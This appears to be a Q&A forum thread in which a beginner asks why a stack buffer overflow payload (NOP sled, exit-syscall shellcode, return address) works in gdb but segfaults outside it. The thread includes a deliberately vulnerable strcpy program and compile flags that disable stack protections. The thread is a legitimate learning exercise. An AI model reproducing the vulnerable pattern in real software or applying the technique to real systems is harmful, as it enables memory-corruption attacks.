So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:

$(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')

I run this payload against the following program:

#include <string.h>

int main(int argc, char **argv)
  char buffer[500];
  strcpy(buffer, argv[1]);

I compiled the program with:

tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector

Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.

(gdb) r $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Starting program: /root/exploiting/a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
[Inferior 1 (process 2573) exited normally]

However, if I run it on my command line:

root@kali:~/exploiting# ./a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Segmentation fault

Why does this happen? Is this supposed to happen?

  • I run your code from the cmd line and don't see a Seg fault. Maybe you did something more? (I've tested on Ubuntu not Kali) – Paweł Łukasik Oct 31 '17 at 21:11
  • Unless you have leaked addresses from stack, overwriting eip with a stack address is quite unreliable. GDB has a different execution environment. One trick is to use ulimit -c unlimited to get a core dump on seg fault and then debug your way from there. You can then approximate the addresses from the core dump. gdb a.out core – sudhackar Nov 1 '17 at 3:50

gdb messes with your environment variables, and could disable ASLR. Most likely, starting gdb and running ‘unset env LINES’ and ‘unset env COLUMNS’ before throwing your shellcode will make the output line up with execution outside gdb. :)


its just about different padding size:

look this is my solution just worked fine for me you add two lines for c code to just check if the esp is same as esp you found it in gdb:

$ vi esp.c
    #include <string.h>
    #include <stdio.h>
    void main(int argc, char *argv[]) {
            char buffer[100];
            strcpy(buffer, argv[1]);
            register int i asm("esp"); //add this line 
            printf("$esp = %#010x\n", i); // and this line will print esp

after saving file compile it with gcc and prevent all security levels:

$ gcc esp.c -o esp -fno-stack-protector -no-pie -z norelro -z execstack

you change padding length until you find same esp you got it from gdb:

./esp $(python -c "print 'gdb_eip'+96*'A'")

and now after you find fine exploit in gdb go and change payload until esp = gdb esp change padding until you find same esp

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.